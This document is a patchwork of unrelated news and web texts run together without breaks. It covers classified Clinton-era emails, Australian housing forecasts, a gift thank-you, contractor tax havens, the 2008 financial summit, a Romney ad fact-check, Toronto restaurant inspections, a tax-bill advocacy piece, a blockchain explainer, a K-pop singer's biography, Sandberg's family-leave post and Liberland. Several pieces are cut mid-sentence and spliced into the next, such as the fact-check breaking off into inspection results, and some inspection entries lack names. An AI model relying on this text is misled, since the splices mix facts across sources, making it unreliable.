"An initial review of this material identified emails containing national security information later determined by the US Intelligence Community to be classified up to the Top Secret/Sensitive Compartmented Information Level," he wrote.
Kable had asked Starr to review a DVD the FBI had sent containing the emails and to review the classification statue of the communications, Vice News reports.
He requested that the department "de-conflict" its response with any other review requests that it had received from other government agencies, according to the report.iStock
Growth in home building and house prices in Australia is going to shrink further, according to the latest business outlook report from Deloitte Access Economics.
The economists say the big home building boom of recent years has started to peter out, which could mean storm clouds for New South Wales and Victoria, the states with the biggest property price rises.
Even Sydney house prices, which have seen a huge surge since interest rates were first cut, are showing signs of losing momentum.
“The pace of home building is set to shrink further amid increasing evidence that gravity may soon start to catch up with stupidity in housing markets,” the economists say.
And the Chinese credit surge is easing back, suggesting the global economy won’t be doing Australia quite as many favours from 2018 onward.
“Yet those are merely caveats on an otherwise solid outlook,” Deloitte says.
“Relative to the rest of the rich world, Australia’s economic outlook may not be quite as impressive as it once was, but we are still kicking goals.”
The economists say the jump from a China boom to a housing price boom sent the nation’s money and momentum from its north and west to its south and east.
“Yet although the resource rich sunbelt — Western Australia, Queensland and the Northern Territory — is feeling pain, much of the drama for those regions already lies in the rear view vision mirror.
“Their next phase will be one of recovery, albeit not quite yet.”
In NSW housing construction is still growing solidly, although it has slowed from double digit growth rates of much of the past three years.
“Even so, Sydney house prices are silly-yet-still-rising, which helps to keep the ‘build versus buy’ equation in the favour of new building,” says the business monitor report.
However, the economists say today’s hero states of NSW and Victoria have clay feet.
“A house price boom borrows growth from the future, and both NSW and Victoria will have to pay back some of their current prosperity in the years ahead as housing prices gradually reconnect with reality,” the business monitor report says.
“Luck’s a fortune, and NSW has it in spades amid the shift to lower interest and exchange rates since 2012.
“But storm clouds are building, as the housing price boom has artificially supported retail and home building. There’ll be an eventual butchers bill to pay as those supports reverse.”
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Follow Business Insider Australia on Facebook, Twitter, LinkedIn, and Instagram.Santa... I don't know where to begin. This is such an incredibly awesome gift. I am literally still in shock and awe of what I just opened.
Today started out like any other day. I was super excited, knowing that I would have mail awaiting me at home. (I had been anxiously tracking Santa's gift since they posted the tracking information) Well, after being home for some time, the aweosme mail lady rang my doorbell with gift in hand. Once I got it in the house, I did not hesitate to tear into it like a savage. (I was super excited, don't judge me!) However, I wasn't prepared for what I would be opening. Inside, there lay a gorgeous Chewbacca ornament, still in it's box, which is signed by the one and only Peter Mayhew!!! AKA Chewbacca himself!!! I was beyond excited!! It now has a place of honor on a shelf where I can keep it in sight at all times because it makes me grin with absolute glee! Thank you SO much Santa. This means the absolute world to me! I adore my gift!!The House Oversight and Government Reform Committee wants information from defense contractors such as KBR and Blackwater Worldwide on their use of off-shore subsidiaries to avoid taxes.
In letters sent Monday to 14 government contractors active in Iraq and Afghanistan, House Oversight and Government Reform Chairman Henry Waxman, D-Calif., asked the companies if they have affiliates based in any of 39 locations designated as tax havens by the Organization for Economic Cooperation and Development.
For such affiliates, Waxman sought estimates of tax savings the subsidiaries have generated and data on gross profits, owners, employees and benefits.
A separate committee letter to KBR describes two company subsidiaries based in the Cayman Islands that "employ thousands of U.S. citizens who perform work in Iraq and other countries under KBR's contracts with the U.S. government."
The letter cites a March 28 briefing with committee staff during which KBR representatives said the arrangement is meant "to reduce KBR's tax obligations." Use of the subsidiaries, which appears legal, may help KBR avoid tens of millions of dollars in annual payroll taxes.
It is unclear if the other contractors contacted by the committee have similar arrangements, but the committee's inquiry could be a step toward congressional efforts to block government contractors from using off-shore subsidiaries or other adjustments in their business models to avoid taxes.
Waxman and Senate Majority Whip Dick Durbin, D-Ill., and Sen. Barack Obama, D-Ill., have asked the IRS and other agencies to investigate if Blackwater improperly classified its employees as independent contractors to avoid employment taxes and workers' compensation obligations. Durbin and Obama have introduced a bill to bar employers from calling full-time employees independent contractors to skirt taxes. Any House legislation on contractors' use of tax havens would involve several committees.
Republicans on the panel had no comment on Waxman's inquiry to the defense contractors, but one aide said the investigation appears to be an effort to publicize legal business practices to "feed the anti-Iraq narrative." Democrats in both chambers are stepping up scrutiny of alleged waste and fraud by military contractors, with KBR, a former Halliburton subsidiary, a frequent target.
Waxman and Sen. Robert Casey, D-Pa., have sought information on the firm's role in maintaining a facility in Iraq where faulty wiring caused the accidental electrocution of a U.S. solider this year.
KBR will also face criticism at a Democratic Policy Committee hearing Monday on abuses in Iraq contracting. Two former KBR employees are among four whistleblowers scheduled to testify at the hearing. A spokeswoman said KBR will provide the information sought. But she emphasized that the company created the subsidiaries in the mid-1990s "in accordance with IRS rules and regulations."WASHINGTON (CNN) -- President Bush announced Saturday that he will host the first of what could be several summits of world leaders to discuss the global response to the financial crisis.
"It is essential that we work together because we're in this crisis together," Bush said at Camp David, Maryland, with French President Nicolas Sarkozy and European Union President Jose Manuel Barroso.
"Together we will work to modernize our financial systems," Bush said. "We must resist the temptation of financial isolationism."
Bush said the summit would include developed and developing nations from around the world.
No date was set, though a White House statement said the gathering would be held in the United States "soon after" the November 4 general election.
Sarkozy emphasized the need to bring Asian states into the discussions.
"We must make haste, because we must stabilize the marketplace," he said. "This is a worldwide crisis, so therefore we must find a worldwide solution." Watch Bush and Sarkozy discuss the global financial crisis »
The summit will seek to establish reform measures to "assure global prosperity in the future" and would be the first in a possible series of such meetings designed to implement the measures.
White House spokesman Tony Fratto told reporters it would be "too ambitious" to handle all the issues facing the massive financial crisis in a single summit.
Last week, European countries acted quickly to prop up their banking systems, promising billions of euros in loan guarantees and billions more to invest in troubled banks. Sarkozy alone pledged to pour 360 billion euros into the French banking system.
On Friday, Germany's upper house of Parliament unanimously voted to adopt a $670.7 billion stabilization package for the country's economy. Watch how the crisis is affecting emerging markets »
The Swiss government announced Thursday that it would invest $5.3 billion into banking giant UBS to strengthen its capital base. The Swiss National Bank will also give UBS a $54 billion loan to create a stabilization fund.
Singapore said Thursday that it will guarantee $102 billion worth of bank deposits for more than two years. Earlier, Hong Kong moved to protect its deposits.
The South Korean government announced a package of foreign currency payment guarantees worth $100 billion for domestic banks to help stabilize the nation's volatile financial markets, state-run media reported Sunday.
The government will guarantee the payment of all foreign currency loans raised by Korean lenders abroad until June for a period of three years, the Yonhap news agency said.
CNN correspondent Kathleen Koch contributed to this report.
All About Financial Markets • European Commission • Nicolas Sarkozy • Germany“This was household income when President Obama took office. This was the national debt. Under Obama, families have lost over $4,000 a year in income, and the national debt is now $16 trillion and growing. Barack Obama: More spending, more debt — failing American families.”
— Narration from Mitt Romney campaign ad
Republican presidential nominee Mitt Romney has turned his attention back to spending and the economy after attacking President Obama last week on foreign policy and trade relations with China. This ad reminds voters that the national debt has grown while incomes have largely fallen, suggesting that the outlook for future generations is bleak under the current administration.
In a previous column, we examined an ad that used similar brick-layer bar graphs to make a point that the U.S. is losing ground to China on manufacturing. The illustrations in that video were badly inaccurate, exaggerating the severity of the situation.
Let’s see whether the graphs in this ad are more true to the facts.
The Facts
The last available data from the U.S. Census Bureau show that median household income was $50,054 in 2011 — the 2012 numbers won’t be available until next year. That’s compared to an inflation-adjusted $52,546 in 2008, so the difference during Obama’s tenure is $2,492, which seems to disprove Romney’s claim of a $4,000 drop.
So where does the GOP candidate get his numbers?
The Romney campaign pointed us to a set of reports from the Sentier Research group, which started its own “household income index” in 2011. The organization tracks median income on a monthly rather than annual basis, drawing from the Bureau of Labor Statistics Current Population Survey to come up with its numbers.
The creators of the Sentier index, Gordon Green and John Coder, are former department heads for the Census Bureau.
Sentier’s latest report showed a U.S. median household income of $50,881 in July 2012, compared to about $55,300 when Obama entered the White House. That’s a difference of more than $4,000, which puts Romney on safe ground.
Here’s the index:
Readers will notice that the median household income declined after both of the last two recessions. So it’s not unusual for the level |
six different infractions, one of which was marked as crucial.
Read on to find out which other Toronto restaurants got in trouble with DineSafe this week.
Banh Mi Boys (392 Queen St. West)
Inspected on: September 25, 2017
Inspection finding: Yellow (Conditional)
Number of infractions: 3 (Minor: 1, Significant: 1, Crucial: 1)
Crucial infractions include: Operator failed to maintain hazardous foods at 4C (40F) or colder.
Coffee Time (1287 Bloor St. West)
Inspected on: September 25, 2017
Inspection finding: Yellow (Conditional)
Number of infractions: 3 (Minor: 1, Significant: 1, Crucial: 1)
Crucial infractions include: Operator failed to maintain hazardous foods at 4C (40F) or colder.
Red Lobster (20 Dundas St. West)
Inspected on: September 25, 2017
Inspection finding: Yellow (Conditional)
Number of infractions: 7 (Minor: 3, Significant: 3, Crucial: 1)
Crucial infractions include: Employee failed to wash hands when required.
Inspected on: September 27, 2017
Inspection finding: Yellow (Conditional)
Number of infractions: 6 (Minor: 1, Significant: 4, Crucial: 1)
Crucial infractions include: Operator failed to ensure food is not contaminated/adulterated.
Elmwood Spa (18 Elm St.)
Inspected on: September 27, 2017
Inspection finding: Yellow (Conditional)
Number of infractions: 4 (Minor: 1, Significant: 2, Crucial: 1)
Crucial infractions include: Operator failed to maintain hazardous foods at 4C (40F) or colder.
Pokito (420 Queen St. West)
Inspected on: September 27, 2017
Inspection finding: Yellow (Conditional)
Number of infractions: 3 (Minor: 1, Significant: 1, Crucial: 1)
Crucial infractions include: Operator failed to ensure food is not contaminated/adulterated.
SIP Wine Bar (2 Broadway Ave.)
Inspected on: September 27, 2017
Inspection finding: Yellow (Conditional)
Number of infractions: 6 (Minor: 2, Significant: 3, Crucial: 1)
Crucial infractions include: Operator failed to ensure food is not contaminated/adulterated.
Inspected on: September 28, 2017
Inspection finding: Yellow (Conditional)
Number of infractions: 9 (Minor: 4, Significant: 4, Crucial: 1)
Crucial infractions include: Employee failed to wash hands when required.
Glad Day Bookshop (499 Church St.)
Inspected on: September 28, 2017
Inspection finding: Yellow (Conditional)
Number of infractions: 6 (Minor: 1, Significant: 4, Crucial: 1)
Crucial infractions include: Operator failed to maintain hazardous foods at 4C (40F) or colder.
Macho Radio Bar (92 Fort York Blvd.)U.S. House Republicans recently jammed through a tax bill, the Tax Cuts and Jobs Act, that gives massive tax cuts to millionaires and the ultrarich instead of those who need it the most: working families. Ivanka Trump, who has been traveling around the country advocating for the bill, claimed in Pennsylvania, “This tax plan couples two things that are really core values as a country, which is work and supporting the American family.” But, her tax pitch does not tell the full story of the bill, namely that nearly 87 million working- and middle-class households would see a tax hike in 2027. And the massive deficit increases from the bill will likely be used by conservatives to justify cutting government programs that support families. Far from supporting working families, these consequences would be devastating to millions and hurt the U.S. economy. Ivanka Trump should be straight about how much people such as her and her family stand to benefit from the tax bills and how those benefits are at the expense of the very women and families she claims to be fighting for.
Here are the top reasons that the tax bills are bad for women and families:
1. Tax cuts for millionaires and billionaires
The House and Senate bills would generate an enormous windfall for the nation’s wealthiest families at the expense of everyone else by repealing the tax on wealthy estates. The House bill repeals the estate tax entirely—a $150 billion windfall to the very wealthiest people in the country. The Senate bill reduces the estate tax by doubling the already very high exemption from $11 million per couple to $22 million per couple. The National Women’s Law Center says this “would mean that only 1,800 estates in the entire United States would have to pay the estate tax and those estates would receive a tax cut of $4.4 million per couple—enough to help 1,100 students attend college with Pell Grants.” Rolling back the estate tax isn’t the only way that the wealthy win out. They would also receive large windfall tax cuts from the corporate and passthrough businesses—including the Trump Organization and Ivanka Trump’s various business holdings—and the repeal of the alternative minimum tax. In 2027, the average family in the top 0.1 percent by income would receive a $208,060 tax cut because the corporate tax cut in the bill is permanent.
Furthermore, as a result of statutory Pay-As-You-GO (PAYGO) requirements, the massively deficit-increasing tax cuts will automatically trigger immediate cuts to programs that serve the middle class and families, such as Medicare; social services grants for child care and foster care; and funds that support efforts to combat violence against women. These tax cuts also disproportionately help build and concentrate more wealth in the hands of a very small group of men at a time of near record high inequality. Such cuts would further cement the gender wealth divide at a time when women are playing a greater economic role in their families.
2. Fails to meaningfully address the cost of child care
Ivanka Trump has claimed that she wants to make child care more affordable. But so far, there is little to suggest that she really understands the problem and wants to help struggling low-income and middle-class families afford child care. Neither the House nor the Senate bills do anything to extend the existing child care tax credit to the families who don’t benefit from it under current law. Both bills expand the Child Tax Credit (CTC)—but in a way that primarily helps higher-income families. Working families who would be helped the most if the proposed increase to the credit was fully refundable won’t receive any meaningful new support. For example, compared with current law, a single mother with two children earning just $14,500 per year would see a $75 increase if the bill were enacted, while a married couple with two children earning $500,000 per year would get a $4,000 increase. In addition, the Senate bill’s CTC changes expire after 2025. After that year, only the tax cuts for corporations would be permanent, while working families would see permanent tax increases from the bill’s new inflation-indexing, which would reduce the value of personal exemptions, the standard deduction, and the Earned Income Tax Credit.
3. A stealth attack on the Affordable Care Act
The Affordable Care Act (ACA) has been under constant attack since Trump has taken office. Amid criticism of the ACA, Ivanka Trump has failed to stand up for women across the country that rely on access to a range of health care services, including reproductive care. Now the Senate is attacking the ACA one more time, by attempting to repeal the individual mandate in the proposed tax bill, which would mean that 13 million fewer Americans would have health insurance by 2025 and many middle-class families would see premiums go up. A typical, unsubsidized family of four would pay nearly $2,000 more for marketplace coverage in 2019.
4. Furthers extreme, anti-choice agenda
Demonstrating that congressional Republican leaders’ anti-choice obsession shows no bounds, both the House and Senate tax bills include gratuitous language that could lay the groundwork for future attacks on reproductive rights and women’s health. The provision would designate fetuses as eligible beneficiaries of “section 529” college savings accounts. But that won’t help anyone save for college, since soon-to-be parents can already start 529 accounts. The provision represents an extreme, desperate attempt to insert abortion rhetoric into U.S. law. As 7 out of 10 people say they believe women should have the right to safe and legal abortion, this is just another example of how Ivanka Trump is out of touch with everyday people. Ivanka Trump should stand against this provision and support reproductive choice, so that women—especially women who work—can choose when and if to become mothers.
5. Paid family leave
Ivanka Trump has identified paid family leave as a priority but has failed to offer up a proposal that would help increase working people’s access to paid family and medical leave. Now, the Senate tax bill includes another corporate tax giveaway that falls under the guise of helping families with paid family and medical leave. As the National Partnership for Women and Families stated, “The proposal would offer small tax credits to employers who voluntarily offer paid family and medical leave to certain employees, but it would do nothing to put paid leave within reach for the millions of working people who have not won the ‘boss lottery.’” Only 13 percent of private sector workers in the United States have access to paid family leave through their employers. The employer tax credits in the Senate bill won’t provide paid leave to those who need it the most and is unlikely to actually change business practice—especially considering as it expires after 2019.
6. Medical expenses
The House version of the tax plan will eliminate the ability for families to deduct very high out-of-pocket medical expenses from their taxable income. This would affect the ability for a family struggling to make ends meet afford chemotherapy drugs, cancer surgeries for breast cancer, or afford expensive fertility treatments, such as in vitro fertilization—in addition to many other hardships. In 2014, nearly 9 million individuals claimed the medical expense deduction, including more than 6 million individuals that earn less than $75,000. This is another deduction that disproportionately harms women. Research found that women pay more of their monthly income for extraordinary medical expenses, and eliminating this deduction would harm women’s financial security.
7. Education
The House version of the tax plan will also eliminate the deduction for student loan interest. In 2014, almost 11.7 million Americans took this deduction, deducting an average of approximately $1,000 from their tax bill. Eliminating the student loan deduction disproportionately harms women and people of color, who suffer from larger student loan expenses.
Conclusion
If Ivanka Trump advocates for a tax proposal, it ought to be a plan that will truly help all women—not just women like her. The wealthy and big business owners who stand to benefit from the Republican tax plan are more likely to be men, exacerbating the economic inequality that women face. In addition, the GOP tax plan is outright hostile to women’s equality and is a terrible step in the wrong direction. Supporting women and their families is not a hobby; it’s a serious economic issue that affects the lives of millions of families. If Ivanka Trump truly wants to support working families and women, she needs to look beyond women such as herself and embrace a tax agenda that actually does so.
Shilpa Phadke is the senior director of the Women’s Initiative at the Center for American Progress.Blockchain technology backs up Bitcoin to this day, but there’s been a recent groundswell of interest from a variety of industries in making distributed ledger technology work.
A blockchain is the structure of data that represents a financial ledger entry, or a record of a transaction. Each transaction is digitally signed to ensure its authenticity and that no one tampers with it, so the ledger itself and the existing transactions within it are assumed to be of high integrity.
The real magic comes, however, from these digital ledger entries being distributed among a deployment or infrastructure. These additional nodes and layers in the infrastructure serve the purpose of providing a consensus about the state of a transaction at any given second; they all have copies of the existing authenticated ledger distributed amongst them.
[ ALSO ON CSO: Is the blockchain good for security? ]
When a new transaction or an edit to an existing transaction comes in, generally a majority of the nodes within a blockchain implementation must execute some algorithms and essentially evaluate and verify the history of the individual blockchain block that is proposed, and come to a consensus that the history and signature is valid, then the new transaction is accepted into the ledger and a new block is added to the chain of transactions. If a majority of nodes do not concede to the addition or modification of the ledger entry, then it is denied and not added to the chain. This distributed consensus model is what allows blockchain to run as a distributed ledger without the need for some central, unifying authority saying what transactions are valid and (perhaps more importantly) which ones are not.
In fact, blockchain can be configured to work in a number of ways that use different mechanisms to achieve consensus on transactions and, in particular, to define known participants in the chain and exclude everyone else. The largest example of blockchain in use, Bitcoin, employs an anonymous public ledger in which anyone can participate. For more private uses of blockchain among a smaller number of known actors, many organizations are deploying permissioned blockchains to control who participates in transaction activity.
[Related: Is the blockchain good for security?]
Blockchain is attractive to a number of different constituencies for a variety of reasons, including the following:
The lack of a requirement for a central authority makes it an ideal ledger and settlement solution for joint ventures and affiliate relationships that are generally made on an equal or 50/50 footing without a provision for an arbitrator or manager. Indeed, having the computers verify transactions and settle them eliminates the need for clearinghouses and other settlement agents, providing disintermediation in a business arrangement and generally reducing costs while improving the speed at which transactions can be made, verified, settled, and recorded.
The digital signatures and verifications make it difficult to envision a scenario wherein a bad actor could cause fraud and introduce problems that are costly to remove and resolve. The cryptographic integrity of the whole pending transaction, as well as examination by multiple nodes of the blockchain architecture, protect against threats and malevolent use of the technology. (With that said, it is important to note that this security protection has largely been untested in the marketplace and, while strong on a theoretical basis, questions remain about how well the protections will hold up in the reality of the digital economy we live in today.)
The concept of blockchain works really well at tracking how assets move through a supply chain, through certain vendors and factories to transmission and transportation lines and into their final locations.
Impediments to blockchain
The biggest problem with blockchain technology now is that it is hard to apply, mainly because, as is typical with open source projects, there are numerous projects each with their own teams and ideals. Marrying all of the functionality into a practical application is difficult. “The only thing that gives me pause about Blockchain is the community that builds the code,” says Matt Reynolds, blockchain application development expert. “Bitcoin is open source, but the team that manages it do not behave in the way you’d ideally like FOSS maintainers to maintain. They behave more like an ‘answerable to no one’ proprietary software team, and that’s not good for anyone using Bitcoin’s Blockchain implementation in their own projects.”
What is Hyperledger?
Hyperledger is a project that tries to unify all of the different open source blockchain approaches that exist currently. The goal? According to the official Hyperledger website, “the project is building a general-purpose blockchain framework that can be used across industry sectors, from financial services to retail to manufacturing and more.”
What is significant about this project compared to the various and sundry other open source projects that litter the Internet is the industry participation and big names behind this: according to the project, founding members of the initiative include ABN AMRO, Accenture, ANZ Bank, Blockchain, BNY Mellon, Calastone, Cisco, CLS, CME Group, ConsenSys, Credits, The Depository Trust & Clearing Corporation (DTCC), Deutsche Börse Group, Digital Asset Holdings, Fujitsu Limited, Guardtime, Hitachi, IBM, Intel, IntellectEU, J.P. Morgan, NEC, NTT DATA, R3, Red Hat, State Street, SWIFT, Symbiont, VMware and Wells Fargo.
Hyperledger’s current goals are to combine three projects into practical blockchain applications:
Rippled, a public distributed ledger written in C++ that handles cross-currency payments using order books
IBM’s Open Blockchain, a low level fabric that implements smart contracts, digital assets, record repositories, consensus oriented networks, and cryptographic security
Digital Asset’s Hyperledger, which is a ready to deploy blockchain server with a client API currently intended for use by financial services enterprises. It works by using an addition-only log of transactions that are designed to be replicated across multiple separate organizations all without a nexus of control. (The parent company, Digital Asset Holdings, lent the Hyperledger trademark name to the open source project as part of its contribution.)
[Related: Open source unleashes blockchain's enterprise potential]
Technology industry giant IBM agrees: it is contributing tens of thousands of lines of code to the Hyperledger project while also being clear that it believes that open technology is the best way to create a truly applicable implementation of blockchain to today’s business and enterprise market. In fact, IBM sees blockchain and ledger technology as making the Internet more aware of commerce.
“As a broad, open initiative inclusive of many different blockchain experts, the Hyperledger Project will advance the open blockchain standard for uses across many industries,” says Jerry Cuomo, vice president blockchain, IBM. “By focusing on an open platform, there’s no limit to the types of applications and frameworks that will one day be built on top of it.”
Of course there are practical limits to this. “The problem with practical applications to Blockchain is that it’s quite hard to find projects that are genuinely good fits,” says Reynolds. “There’s a lot of ‘I have a hammer, so this must be a nail’ thinking around Blockchain. It’s best suited for scenarios where the data itself is public, but that you don’t want to have to explicit give trust to entities to update the data. Regulatory or public applications tend to fit well into this.”
With that said, there is clearly a place for building a foundation for distributed ledger-based ecommerce in the Internet landscape today. In a keynote at The Block Chain Conference in San Francisco in February, IBM’s Global Blockchain Offering Director John Wolpert says, “You need a fabric that allows for lots of competition on platforms and huge competition on solutions. We need to evolve the Internet to become economically aware and this Internet is not going to be an application, it will be a fabric.” And he sees Hyperledger as the project that’s putting the best of breed technologies together to build this fabric.
This story, "What is blockchain and how does it work?" was originally published by CIO.For other people with the same name, see Sunny
Lee Soon-gyu[2] (born May 15, 1989), known professionally as Sunny, is an American singer and entertainer based in South Korea. She debuted as a member of girl group Girls' Generation in August 2007, which went on to become one of the best-selling artists in South Korea and one of South Korea's most popular girl groups worldwide. Apart from her group's activities, Sunny has participated in numerous side projects including original soundtracks, television variety shows, musical acting and radio hosting.
Life and career [ edit ]
1989–2007: Early life and career beginnings [ edit ]
Sunny was born on May 15, 1989, in Orange County, California.[3] Her family consists of her parents and two older sisters who are ten and fifteen years older than her. She and her sisters share the same birthday.[4] Her father, Lee Soo-young, was also known to be the elder brother of SM Entertainment founder Lee Soo-man. While Sunny was still an infant, her family moved to Kuwait, then moved again shortly after to South Korea, during the time of the Gulf War. As a result of her brief war experience, Sunny grew up being scared of loud noises. She was influenced to become a singer by her father, who was in a college band. In 1998, Sunny joined SM Entertainment and became a trainee for five years. She transferred to Starworld agency, where her father worked as a manager, and was to debut in a duo group called Sugar. The group, however, never came to fruition. In early 2007, singer Ayumi Lee convinced Sunny to rejoin SM Entertainment. She continued her training there and made her official debut as a member of Girls' Generation in August 2007.[5][6][7][3][8][9][10] The group gained significant popularity with the release of their hit single "Gee" in 2009.[11]
2008–present: Solo activities [ edit ]
Aside from Girls' Generation's activities, Sunny has participated in a number of side-projects. In early 2008, Sunny worked as a co-host of the Melon Chunji Radio with Super Junior's Sungmin.[12][13] In August 2008, she contributed a solo song, "You Don't Know About Love" for the SBS's drama Working Mom.[14] In 2009, Sunny released two songs—a solo track "Finally Now" for the interactive movie Story of Wine and a duet "It's Love" for the MBC's drama Heading to the Ground, with Girls' Generation's member Taeyeon.[15][16] During 2009 and 2010, Sunny was a co-host for MTV Korea television music program The M with SS501's Kim Hyung-jun and 2AM's Im Seulong.[17] She also joined the KBS2's variety show Invincible Youth along with Girls' Generation member Yuri. The reality program narrated a journey of a group of South Korean celebrities who were brought together to work and experience the agricultural and rural life.[18] In March 2010, Sunny recorded "Your Doll" for the SBS's drama Oh! My Lady soundtrack—it became her first song to enter the Gaon Digital Chart, at number 88.[19][20] During 2011-2012, she continued on with her participation in KBS2's Invincible Youth 2.[21] She was praised by the director of the show as someone who has "intelligence", "great adaptability" and the ability to make other cast members get along well.[22]
In January 2012, stepping into the field of voice-over for the first time, she was featured in the Korean-dubbed version of animated film The Outback. She voiced a koala character named Miranda. Sunny found the recording process to be initially difficult, stating that because Miranda was such a "charismatic" and "strong" character, it was hard to express "with just [her] voice" as it would have been "a different story if [she] was showing the actions". With the help of the director, however, she was able to finally "grasp the character".[23] In March 2012, Sunny became a host for SBS MTV's television program Music Island.[24] During the year, she also recorded two duets—the first song is titled "I Love You, I Love You", with Brown Eyed Girls' member Miryo while the other one is titled "It's Me", with f(x)'s Luna for the SBS's drama To The Beautiful You.[25][26] The songs debuted at number 56 and 25 on the Gaon Digital Chart and at number 51 and 16 on Billboard's K-pop Hot 100 chart, respectively.[27][28][29][30]
Sunny performing "Singin' in the Rain" musical
During 2012-2013, Sunny was cast in her first musical, Catch Me If You Can, based on the true story and life of a con man named Frank Abagnale. The story was turned famous by the 2002 movie of the same name.[31] She played a character named Brenda, who is the girlfriend of the male lead. Her performance received favorable reviews. Shin Yeong-seon from The Chosun Ilbo noted on Sunny's ability to understand the character and praised her well-portrayal of Brenda's "exaggerated cuteness and flippant acting". Jang Kyungjin of 10asia enjoyed her singing, "While Sunny wasn't a member in her group who put her vocals forth, she showed her power through Brenda's 'Fly, Fly Away' with her clean, firm voice, showing her potential to the audience."[32][33] Sunny was nominated for the "Best New Actress" at the 6th Musical Awards.[34]
In June 2013, Sunny released the song "The 2nd Drawer" for the MBC's drama The Queen's Classroom.[35] It debuted at number 76 on K-pop Top 100 Chart.[36] In March 2014, Sunny participated in the Korean-dubbed version of the animated film Rio 2. She voiced Jewel, a female Spix's macaw. The director noted on her ability to not only deliver the lines, but also successfully expressed other sound effects, like breathing. In an interview, Sunny felt that the most appealing part of dubbing is the ability to go back to her childhood.[37] In June 2014, Sunny was cast in her second musical, Singin' in the Rain, based on the 1952 movie of the same name. Sunny played Kathy Selden, an aspiring actress.[38][39] In November 2014, her solo song, "First Kiss", was released as a part of musician Hwang Sung Je's Project Super Hero series.[40]
Between 2014-2015, she became a cast member of the SBS's reality show Roommate. The show featured a group of celebrities living together, sharing the house as well as household tasks.[41][42] During the same period, Sunny hosted the MBC radio show's FM Date. She contributed her own self-written logo song for the show and also won the "Rookie Radio DJ Award" at the year-end MBC Entertainment Awards.[43][44][45][46] In April 2015, Sunny's voice was featured on indie-band Roof Top House's debut single "Heart Throbbing".[47] The song managed to enter Gaon Digital Chart at number 89.[48] In August-October 2015, she was a co-host for the short-lived JTBC's variety show Serial Shopping Family.[49]
In March 2016, it was revealed that Sunny would be a celebrity judge in the new show, Vocal War: God's Voice. The purpose of the show is to create a one-on-one vocal battle between veteran singers in Korea and talented amateur vocalists.[50] Starting from June 2016, Sunny joined the main cast of the JTBC variety show Cheonhajangsa (천하장사), a show featuring various traditional markets.[51]
Discography [ edit ]
Filmography [ edit ]
Film [ edit ]
Television dramas [ edit ]
Year Title Network Role Notes 2008 Unstoppable Marriage KBS2 Bulgwang-dong's Seven Princesses Gang Cameo 2009 Tae-hee, Hye-kyo, Ji-hyun! MBC Sunny 2011 Sazae-san: Special 3 Fuji TV
Variety shows [ edit ]
Musical theatre [ edit ]
Year Title Role Notes 2012–2013 Catch Me If You Can Brenda Strong Lead Role 2014 Singin' in the Rain Kathy Selden 2016–2017 Cafe-in ~Mr Sommelier Miss Barista Lead Role, Japanese musical
Radio show [ edit ]
Awards and nominations [ edit ]
Year Awards Category Work Result Ref. 2010 Mnet 20's Choice Awards Hot Female Multitainer Nominated 2012 The 6th Musical Awards Best New Actress Catch Me If You Can 2013 The 19th Korean Musical Awards 2014 MBC Entertainment Awards Rookie Radio DJ Award Sunny's FM Date Won [46]
References [ edit ]Sheryl Sandberg, Facebook's chief operating officer, is calling for new policies to benefit women in the U.S. including paid family leave and a higher minimum wage.
“To start, it’s long past time to raise the federal minimum wage. Two-thirds of minimum wage workers are women. Raising the wage would reduce pay inequality and help millions of families living in or near poverty,” Sandberg wrote in a Mother's Day post.
Sandberg advocated for paid family leave for all parents following a child's birth.
“The United States is one of the only developed countries in the world that doesn’t guarantee paid family leave – and we’re the only developed country in the world without paid maternity leave. That means many moms are forced to return to work right after giving birth to keep their jobs,” Sandberg wrote in her Facebook post. “They deserve more support. So do dads, LGBTQ parents, adoptive parents — families of all kinds. We shouldn’t have to risk losing a job or being able to meet the basic needs of our families to do that.”
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Sandberg said companies need help in addressing social issues.
“Companies can do a lot to lead the charge, and I’m proud of the steps Facebook has taken. But not everyone has the opportunity to work for a company that supports working parents. It's time for our public policies to catch up with what our families deserve and our values demand,” she added.
The Facebook COO also called for more affordable child care, pointing to a statistic that 40 percent of women are the primary or only wage earners for their family.
Ivanka Trump, President Trump’s daughter and special counselor, has also voiced support for deductions in child care costs as part of the administration's tax reform plan. Her plan, however, could fail to get Republican’s support because of the estimated cost to the federal government: $500 billion over the span of 10 years.
Sandberg’s post did not directly bring up the Trump administration’s policies.
Sandberg recently published the book ‘Option B: Facing Adversity, Building Resilience and Finding Joy,’ which addresses her struggle as a single mother following the sudden death of her husband two years ago.A citizenship certificate being handed by Vit Jedlicka, self-declared president of Liberland, center, to one of the backers of the Liberland idea, in Backi Monostor, Serbia on May 1. (Darko Vojinovic/AP)
For a country named after liberty, Liberland is currently in surprisingly short supply of the stuff.
Last month, Czech politician Vit Jedlicka claimed a disputed area between Croatia and Serbia as his own. Calling the tiny slice of forest a no-man’s land, Jedlicka christened it Liberland and proclaimed it Europe’s newest state: a 3-square-mile libertarian tax haven on the Danube. Jedlicka set up a national Web site, created a flag, drafted a constitution and crafted a motto: “To live and let live.”
[Microstate tax have in the Balkan? Not that easy]
[250,000 people have requested citizenship in a country that might not exist]
Local authorities on both sides of the contested border have objected, however. Maybe they didn’t get the memo about Liberland’s motto, but they’re not letting anyone live there yet.
On Saturday, Croatian police detained Jedlicka as he tried to enter Liberland, according to local news reports and Liberland’s Facebook page. He was reportedly released on Sunday morning.
The detention of Jedlicka, Liberland’s self-proclaimed president, is the latest twist in a tale that speaks volumes about Europe and its discontents.
Serbia and Croatia have both claimed the patch of woodland in a dispute dating back to the Balkan wars of the 1990s. Nevertheless, Jedlicka considered it up for grabs and on April 13 proclaimed it the Free Republic of Liberland. Whether intended as a personal fiefdom or a publicity stunt, the supposedly sovereign nation — which hasn’t been recognized by any other country — has clearly struck a chord with people around the world.
More than 300,000 people have signed up using social media to become citizens of Liberland (Liberlanders? Liberlandians? Liberlandlubbers?), according to the Associated Press. Jedlicka also claims that investors have already pledged billions for the country, where taxes would be voluntary. Bitcoin would be the national currency, and the fledging nation plans to accept anyone as a citizen who does not have a criminal record or political extremist past.
There are problems in this newly minted political paradise, however. Jedlicka had planned to start inhabiting the sliver of land this week — its only structure is a dilapidated hunting lodge — but neither Croatian nor Serbian authorities will play along. In recent days, the two countries have blocked dozens of people from populating Liberland.
“The police did their job maybe even better than expected,”Jedlicka told the AP. “Even the people who wanted to give us the boats were searched and were told that they are not allowed to give us the boats.
“But we won’t give up that easy,” he said. “We’ll keep on trying.”
Vit Jedlicka, the self-declared president of Liberland, looks at his phones in a private compound in Backi Monostor, Serbia on May 1. (Darko Vojinovic/AP)
